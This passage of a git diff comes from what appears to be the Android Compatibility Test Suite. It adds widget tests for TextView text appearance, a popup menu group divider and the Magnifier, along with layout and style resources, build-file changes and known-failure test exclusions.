+ android:id="@+id/textview_textappearance_attrs1"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ style="@null"
+ android:textAppearance="@style/TextAppearance.Xml1" />
+
+ <TextView
+ android:id="@+id/textview_textappearance_attrs2"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ style="@null"
+ android:textAppearance="@style/TextAppearance.Xml2" />
+
+ <TextView
+ android:id="@+id/textview_textappearance_attrs3"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ android:textAppearance="@style/TextAppearance.Xml2"
+ style="@style/TextAppearance.Xml3" />
+
+ <TextView
+ android:id="@+id/textview_textappearance_attrs4"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ style="@style/TextAppearance.Xml3" />
+
+ <TextView
+ android:id="@+id/textview_textappearance_attrs_allcaps_password"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ style="@style/AllCapsPassword" />
+
+ <TextView
+ android:id="@+id/textview_textappearance_attrs_serif_fontfamily"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/sample_text"
+ android:typeface="serif"
+ android:textAppearance="@style/TextAppearance.Xml2" />
+
</LinearLayout>
</ScrollView>
diff --git a/tests/tests/widget/res/menu/popup_menu.xml b/tests/tests/widget/res/menu/popup_menu.xml
index 29daad0..a2653b4 100644
--- a/tests/tests/widget/res/menu/popup_menu.xml
+++ b/tests/tests/widget/res/menu/popup_menu.xml
@@ -18,12 +18,14 @@
android:title="@string/popup_menu_highlight"
android:contentDescription="@string/popup_menu_highlight_description"
android:tooltipText="@string/popup_menu_highlight_tooltip" />
- <item android:id="@+id/action_edit"
- android:title="@string/popup_menu_edit"
- android:contentDescription="@string/popup_menu_edit_description"
- android:tooltipText="@string/popup_menu_edit_tooltip" />
- <item android:id="@+id/action_delete"
- android:title="@string/popup_menu_delete" />
+ <group android:id="@+id/group_test2">
+ <item android:id="@+id/action_edit"
+ android:title="@string/popup_menu_edit"
+ android:contentDescription="@string/popup_menu_edit_description"
+ android:tooltipText="@string/popup_menu_edit_tooltip" />
+ <item android:id="@+id/action_delete"
+ android:title="@string/popup_menu_delete" />
+ </group>
<item android:id="@+id/action_ignore"
android:title="@string/popup_menu_ignore" />
<item android:id="@+id/action_share"
diff --git a/tests/tests/widget/res/values/styles.xml b/tests/tests/widget/res/values/styles.xml
index a47f169..8d44c7a 100644
--- a/tests/tests/widget/res/values/styles.xml
+++ b/tests/tests/widget/res/values/styles.xml
@@ -109,6 +109,43 @@
<item name="android:textStyle">normal</item>
</style>
+ <style name="TextAppearance.Xml1">
+ <item name="android:textSize">22px</item>
+ <item name="android:typeface">sans</item>
+ <item name="android:textStyle">italic</item>
+ <item name="android:textAllCaps">true</item>
+ <item name="android:letterSpacing">2.4</item>
+ <item name="android:fontFeatureSettings">smcp</item>
+ </style>
+
+ <style name="TextAppearance.Xml2">
+ <item name="android:fontFamily">monospace</item>
+ <item name="android:textStyle">normal</item>
+ <item name="android:shadowColor">@drawable/red</item>
+ <item name="android:shadowDx">10.3</item>
+ <item name="android:shadowDy">0.5</item>
+ <item name="android:shadowRadius">3.3</item>
+ <item name="android:elegantTextHeight">true</item>
+ </style>
+
+ <style name="TextAppearance.Xml3">
+ <item name="android:textSize">32px</item>
+ <item name="android:fontFamily">serif</item>
+ <item name="android:textStyle">bold</item>
+ <item name="android:textAllCaps">false</item>
+ <item name="android:letterSpacing">2.6</item>
+ <item name="android:shadowColor">@drawable/blue</item>
+ <item name="android:shadowDx">1.3</item>
+ <item name="android:shadowDy">10.5</item>
+ <item name="android:shadowRadius">5.3</item>
+ <item name="android:elegantTextHeight">false</item>
+ </style>
+
+ <style name="AllCapsPassword">
+ <item name="android:textAllCaps">true</item>
+ <item name="android:password">true</item>
+ </style>
+
<style name="TestEnum1">
<item name="testEnum">val1</item>
</style>
diff --git a/tests/tests/widget/src/android/widget/cts/GridViewTest.java b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
index 95e3581..189a0c9 100644
--- a/tests/tests/widget/src/android/widget/cts/GridViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
@@ -608,6 +608,7 @@
final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, () -> {
mGridView.setAdapter(new DummyAdapter(1000, theView));
+ mGridView.requestFocus();
});
assertEquals("test sanity", 1, theView.mOnAttachCount);
assertEquals("test sanity", 0, theView.mOnDetachCount);
diff --git a/tests/tests/print/src/android/print/cts/services/SettingsActivity.java b/tests/tests/widget/src/android/widget/cts/MagnifierCtsActivity.java
similarity index 69%
copy from tests/tests/print/src/android/print/cts/services/SettingsActivity.java
copy to tests/tests/widget/src/android/widget/cts/MagnifierCtsActivity.java
index eb23574..a828c3d 100644
--- a/tests/tests/print/src/android/print/cts/services/SettingsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierCtsActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2014 The Android Open Source Project
+ * Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,15 +14,18 @@
* limitations under the License.
*/
-package android.print.cts.services;
+package android.widget.cts;
import android.app.Activity;
import android.os.Bundle;
-public class SettingsActivity extends Activity {
-
+/**
+ * A minimal application for {@link MagnifierTest}.
+ */
+public class MagnifierCtsActivity extends Activity {
@Override
- protected void onCreate(Bundle savedInstanceState) {
+ public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ setContentView(R.layout.magnifier_layout);
}
}
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
new file mode 100644
index 0000000..46d3fe5
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
+import android.widget.LinearLayout;
+import android.widget.LinearLayout.LayoutParams;
+import android.widget.Magnifier;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link Magnifier}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MagnifierTest {
+ private Activity mActivity;
+ private LinearLayout mMagnifierLayout;
+
+ @Rule
+ public ActivityTestRule<MagnifierCtsActivity> mActivityRule =
+ new ActivityTestRule<>(MagnifierCtsActivity.class);
+
+ @Before
+ public void setup() {
+ mActivity = mActivityRule.getActivity();
+ PollingCheck.waitFor(mActivity::hasWindowFocus);
+ mMagnifierLayout = mActivity.findViewById(R.id.magnifier_layout);
+ }
+
+ @Test
+ public void testConstructor() {
+ new Magnifier(new View(mActivity));
+ }
+
+ @Test(expected = NullPointerException.class)
+ public void testConstructor_NPE() {
+ new Magnifier(null);
+ }
+
+ @Test
+ @UiThreadTest
+ public void testShow() {
+ View view = new View(mActivity);
+ mMagnifierLayout.addView(view, new LayoutParams(200, 200));
+ Magnifier magnifier = new Magnifier(view);
+ // Valid coordinates.
+ magnifier.show(0, 0);
+ // Invalid coordinates, should both be clamped to 0.
+ magnifier.show(-1, -1);
+ // Valid coordinates.
+ magnifier.show(10, 10);
+ // Same valid coordinate as above, should skip making another copy request.
+ magnifier.show(10, 10);
+ }
+
+ @Test
+ @UiThreadTest
+ public void testDismiss() {
+ View view = new View(mActivity);
+ mMagnifierLayout.addView(view, new LayoutParams(200, 200));
+ Magnifier magnifier = new Magnifier(view);
+ // Valid coordinates.
+ magnifier.show(10, 10);
+ magnifier.dismiss();
+ // Should be no-op.
+ magnifier.dismiss();
+ }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
index 5ce73a8..3a85f47 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
@@ -40,6 +40,7 @@
import android.view.SubMenu;
import android.view.View;
import android.widget.EditText;
+import android.widget.ImageView;
import android.widget.ListView;
import android.widget.PopupMenu;
@@ -273,7 +274,7 @@
@Test
public void testItemViewAttributes() throws Throwable {
- mBuilder = new Builder().withDismissListener();
+ mBuilder = new Builder().withDismissListener().withAnchorId(R.id.anchor_upper_left);
WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, mBuilder::show, true);
Menu menu = mPopupMenu.getMenu();
@@ -303,6 +304,38 @@
}
}
+ @Test
+ public void testGroupDividerEnabledAPI() throws Throwable {
+ testGroupDivider(false);
+ testGroupDivider(true);
+ }
+
+ private void testGroupDivider(boolean groupDividerEnabled) throws Throwable {
+ mBuilder = new Builder().withGroupDivider(groupDividerEnabled)
+ .withAnchorId(R.id.anchor_upper_left);
+ WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, mBuilder::show, true);
+
+ Menu menu = mPopupMenu.getMenu();
+ ListView menuItemList = mPopupMenu.getMenuListView();
+
+ for (int i = 0; i < menuItemList.getChildCount(); i++) {
+ final int currGroupId = menu.getItem(i).getGroupId();
+ final int prevGroupId =
+ i - 1 >= 0 ? menu.getItem(i - 1).getGroupId() : currGroupId;
+ View itemView = menuItemList.getChildAt(i);
+ ImageView groupDivider = itemView.findViewById(com.android.internal.R.id.group_divider);
+
+ assertNotNull(groupDivider);
+ if (!groupDividerEnabled || currGroupId == prevGroupId) {
+ assertEquals(groupDivider.getVisibility(), View.GONE);
+ } else {
+ assertEquals(groupDivider.getVisibility(), View.VISIBLE);
+ }
+ }
+
+ teardown();
+ }
+
/**
* Inner helper class to configure an instance of {@link PopupMenu} for the specific test.
* The main reason for its existence is that once a popup menu is shown with the show() method,
@@ -315,6 +348,7 @@
private boolean mHasMenuItemClickListener;
private boolean mInflateWithInflater;
+ private int mAnchorId = R.id.anchor_middle_left;
private int mPopupMenuContent = R.menu.popup_menu;
private boolean mUseCustomPopupResource;
@@ -328,6 +362,8 @@
private View mAnchor;
+ private boolean mGroupDividerEnabled = false;
+
public Builder withMenuItemClickListener() {
mHasMenuItemClickListener = true;
return this;
@@ -360,8 +396,18 @@
return this;
}
+ public Builder withGroupDivider(boolean groupDividerEnabled) {
+ mGroupDividerEnabled = groupDividerEnabled;
+ return this;
+ }
+
+ public Builder withAnchorId(int anchorId) {
+ mAnchorId = anchorId;
+ return this;
+ }
+
private void configure() {
- mAnchor = mActivity.findViewById(R.id.anchor_middle_left);
+ mAnchor = mActivity.findViewById(mAnchorId);
if (!mUseCustomGravity && !mUseCustomPopupResource) {
mPopupMenu = new PopupMenu(mActivity, mAnchor);
} else if (!mUseCustomPopupResource) {
@@ -390,6 +436,10 @@
mOnDismissListener = mock(PopupMenu.OnDismissListener.class);
mPopupMenu.setOnDismissListener(mOnDismissListener);
}
+
+ if (mGroupDividerEnabled) {
+ mPopupMenu.getMenu().setGroupDividerEnabled(true);
+ }
}
public void show() {
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 330a92a..966fe19 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -1330,6 +1330,9 @@
mActivity.runOnUiThread(() ->
mActivity.setRequestedOrientation(orientation));
mActivity.waitForConfigurationChanged();
+ // Wait for main thread to be idle to make sure layout and draw have been performed
+ // before continuing.
+ mInstrumentation.waitForIdleSync();
View parentWindowView = mActivity.getWindow().getDecorView();
int parentWidth = parentWindowView.getMeasuredWidth();
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index ac90cb7..29ae05f 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -139,7 +139,6 @@
import android.view.inputmethod.ExtractedTextRequest;
import android.view.inputmethod.InputConnection;
import android.view.inputmethod.InputMethodManager;
-import android.view.textclassifier.TextClassification;
import android.view.textclassifier.TextClassifier;
import android.view.textclassifier.TextSelection;
import android.widget.EditText;
@@ -190,15 +189,9 @@
private static final TextClassifier FAKE_TEXT_CLASSIFIER = new TextClassifier() {
@Override
public TextSelection suggestSelection(
- CharSequence text, int start, int end, LocaleList locales) {
+ CharSequence text, int start, int end, TextSelection.Options options) {
return new TextSelection.Builder(SMARTSELECT_START, SMARTSELECT_END).build();
}
-
- @Override
- public TextClassification classifyText(
- CharSequence text, int start, int end, LocaleList locales) {
- return new TextClassification.Builder().build();
- }
};
private static final int CLICK_TIMEOUT = ViewConfiguration.getDoubleTapTimeout() + 50;
@@ -4445,6 +4438,75 @@
assertEquals(null, mTextView.getTypeface());
}
+ @Test
+ public void testXmlTextAppearance() {
+ mTextView = findTextView(R.id.textview_textappearance_attrs1);
+ assertEquals(22f, mTextView.getTextSize(), 0.01f);
+ Typeface italicSans = Typeface.create(Typeface.SANS_SERIF, Typeface.ITALIC);
+ assertEquals(italicSans, mTextView.getTypeface());
+ assertEquals(Typeface.ITALIC, mTextView.getTypeface().getStyle());
+ assertTrue(mTextView.isAllCaps());
+ assertEquals(2.4f, mTextView.getLetterSpacing(), 0.01f);
+ assertEquals("smcp", mTextView.getFontFeatureSettings());
+
+ mTextView = findTextView(R.id.textview_textappearance_attrs2);
+ assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+ assertEquals(mActivity.getResources().getColor(R.drawable.red),
+ mTextView.getShadowColor());
+ assertEquals(10.3f, mTextView.getShadowDx(), 0.01f);
+ assertEquals(0.5f, mTextView.getShadowDy(), 0.01f);
+ assertEquals(3.3f, mTextView.getShadowRadius(), 0.01f);
+ assertTrue(mTextView.isElegantTextHeight());
+
+ // This TextView has both a TextAppearance and a style, so the style should override.
+ mTextView = findTextView(R.id.textview_textappearance_attrs3);
+ assertEquals(32f, mTextView.getTextSize(), 0.01f);
+ Typeface boldSerif = Typeface.create(Typeface.SERIF, Typeface.BOLD);
+ assertEquals(boldSerif, mTextView.getTypeface());
+ assertEquals(Typeface.BOLD, mTextView.getTypeface().getStyle());
+ assertFalse(mTextView.isAllCaps());
+ assertEquals(2.6f, mTextView.getLetterSpacing(), 0.01f);
+ assertEquals(mActivity.getResources().getColor(R.drawable.blue),
+ mTextView.getShadowColor());
+ assertEquals(1.3f, mTextView.getShadowDx(), 0.01f);
+ assertEquals(10.5f, mTextView.getShadowDy(), 0.01f);
+ assertEquals(5.3f, mTextView.getShadowRadius(), 0.01f);
+ assertFalse(mTextView.isElegantTextHeight());
+
+ // This TextView has no TextAppearance and has a style, so the style should be applied.
+ mTextView = findTextView(R.id.textview_textappearance_attrs4);
+ assertEquals(32f, mTextView.getTextSize(), 0.01f);
+ assertEquals(boldSerif, mTextView.getTypeface());
+ assertEquals(Typeface.BOLD, mTextView.getTypeface().getStyle());
+ assertFalse(mTextView.isAllCaps());
+ assertEquals(2.6f, mTextView.getLetterSpacing(), 0.01f);
+ assertEquals(mActivity.getResources().getColor(R.drawable.blue),
+ mTextView.getShadowColor());
+ assertEquals(1.3f, mTextView.getShadowDx(), 0.01f);
+ assertEquals(10.5f, mTextView.getShadowDy(), 0.01f);
+ assertEquals(5.3f, mTextView.getShadowRadius(), 0.01f);
+ assertFalse(mTextView.isElegantTextHeight());
+
+ // Note: text, link and hint colors can't be tested due to the default style overriding
+ // values b/63923542
+ }
+
+ @Test
+ public void testXmlTypefaceFontFamilyHierarchy() {
+ // This view has typeface=serif set on the view directly and a fontFamily on the appearance.
+ // In this case, the attr set directly on the view should take precedence.
+ mTextView = findTextView(R.id.textview_textappearance_attrs_serif_fontfamily);
+
+ assertEquals(Typeface.SERIF, mTextView.getTypeface());
+ }
+
+ @Test
+ public void testAttributeReading_allCapsAndPassword() {
+ // This TextView has all caps & password, therefore all caps should be ignored.
+ mTextView = findTextView(R.id.textview_textappearance_attrs_allcaps_password);
+ assertFalse(mTextView.isAllCaps());
+ }
+
@UiThreadTest
@Test
public void testAccessCompoundDrawableTint() {
diff --git a/tests/tests/widget/src/android/widget/cts/util/ListScenario.java b/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
index c4d4199..1d63c40 100644
--- a/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
+++ b/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
@@ -16,13 +16,6 @@
package android.widget.cts.util;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
import android.app.Activity;
import android.graphics.Rect;
import android.os.Bundle;
@@ -36,6 +29,13 @@
import android.widget.ListView;
import android.widget.TextView;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
/**
* Utility base class for creating various List scenarios. Configurable by the number
* of items, how tall each item should be (in relation to the screen height), and
@@ -390,6 +390,7 @@
mLinearLayout.addView(mListView);
setContentView(mLinearLayout);
}
+ mLinearLayout.restoreDefaultFocus();
}
/**
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
index bc6240d..b58bd2c 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
@@ -26,7 +26,7 @@
android-support-test \
legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
LOCAL_PREBUILT_JNI_LIBS_arm := wrap.sh
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
index 0c740e4..ef5b71e 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Debug Wrap (Malloc Debug) test cases">
<option name="config-descriptor:metadata" key="component" value="art" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWrapWrapDebugMallocDebugTestCases.apk" />
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 9f0256c..ffbd6b1 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -23,8 +23,8 @@
<option name="compatibility:exclude-filter" value="CtsLocationTestCases android.location.cts.GnssTtffTests#testTtffWithNetwork" />
<!-- b/35314835 -->
- <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests#testAlwaysFocusablePipActivity" />
- <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests#testLaunchIntoPinnedStack" />
+ <option name="compatibility:exclude-filter" value="CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests#testAlwaysFocusablePipActivity" />
+ <option name="compatibility:exclude-filter" value="CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests#testLaunchIntoPinnedStack" />
<!-- b/17595050 -->
<option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText" />
@@ -126,6 +126,12 @@
<!-- b/36686383 -->
<option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
+ <!-- b/33090965 -->
+ <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180" />
+ <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360" />
+ <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720" />
+ <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080" />
+
<!-- b/37482372 -->
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowHistoryPreservePortraitTest" />
<option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowInOutPortraitTest" />
@@ -175,6 +181,9 @@
<option name="compatibility:exclude-filter" value="x86_64 CtsMediaBitstreamsTestCases" />
<option name="compatibility:exclude-filter" value="mips64 CtsMediaBitstreamsTestCases" />
+ <!-- b/38280830 -->
+ <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
+
<!-- b/38420898 -->
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelMultiChannel" />
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyGyroMultiChannel" />
diff --git a/tools/cts-tradefed/res/config/retry.xml b/tools/cts-tradefed/res/config/retry.xml
index cbecada..e488410 100644
--- a/tools/cts-tradefed/res/config/retry.xml
+++ b/tools/cts-tradefed/res/config/retry.xml
@@ -18,6 +18,10 @@
<device_recovery class="com.android.tradefed.device.WaitDeviceRecovery" />
<build_provider class="com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider" />
<test class="com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTest" />
+
+ <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:rerun-from-file:true" />
+ <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:fallback-to-serial-rerun:false" />
+
<logger class="com.android.tradefed.log.FileLogger">
<option name="log-level-display" value="WARN" />
</logger>
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index b48187c..8c3d78f 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -25,7 +25,6 @@
LOCAL_MODULE_CLASS := JAVA_LIBRARIES
LOCAL_MODULE_TAGS := optional
LOCAL_JAVA_LIBRARIES := junit
--include cts/error_prone_rules_tests.mk
include $(BUILD_JAVA_LIBRARY)
cts-tf-dalvik-lib.jar := $(full_classes_jar)